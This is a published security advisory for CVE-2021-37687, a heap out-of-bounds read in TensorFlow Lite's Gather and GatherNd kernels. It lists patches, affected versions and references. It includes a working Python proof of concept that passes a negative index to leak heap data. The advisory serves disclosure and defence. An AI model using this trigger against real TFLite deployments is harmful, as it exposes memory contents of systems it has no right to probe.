Heap OOB in TFLite's `Gather*` implementations

### Impact TFLite's [`GatherNd` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124) does not support negative indices but there are no checks for this situation. Hence, an attacker can read arbitrary data from the heap by carefully crafting a model with negative values in `indices`. Similar issue exists in [`Gather` implementation](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc). ```python import tensorflow as tf import numpy as np tf.compat.v1.disable_v2_behavior() params = tf.compat.v1.placeholder(name="params", dtype=tf.int64, shape=(1,)) indices = tf.compat.v1.placeholder(name="indices", dtype=tf.int64, shape=()) out = tf.gather(params, indices, name='out') with tf.compat.v1.Session() as sess: converter = tf.compat.v1.lite.TFLiteConverter.from_session(sess, [params, indices], [out]) tflite_model = converter.convert() interpreter = tf.lite.Interpreter(model_content=tflite_model) interpreter.allocate_tensors() input_details = interpreter.get_input_details() output_details = interpreter.get_output_details() params_data = np.reshape(np.array([1], dtype=np.int64), newshape=(1,)) indices_data = np.reshape(np.array(-10, dtype=np.int64), newshape=()) interpreter.set_tensor(input_details[0]['index'], params_data) interpreter.set_tensor(input_details[1]['index'], indices_data) interpreter.invoke() ``` ### Patches We have patched the issue in GitHub commits [bb6a0383ed553c286f87ca88c207f6774d5c4a8f](https://github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f) and [eb921122119a6b6e470ee98b89e65d721663179d](https://github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang of Baidu Security.

CVSS 3.1

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-125

Also known as

BIT-tensorflow-2021-37687, CVE-2021-37687, PYSEC-2021-309, PYSEC-2021-600, PYSEC-2021-798

• github.com/tensorflow/tensorflow/security/advisories/GHSA-jwf9-w5xm-f437
• nvd.nist.gov/vuln/detail/CVE-2021-37687
• github.com/tensorflow/tensorflow/commit/bb6a0383ed553c286f87ca88c207f6774d5c4a8f
• github.com/tensorflow/tensorflow/commit/eb921122119a6b6e470ee98b89e65d721663179d
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-600.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-798.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-309.yaml
• github.com/tensorflow/tensorflow
• github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather.cc
• github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/gather_nd.cc#L124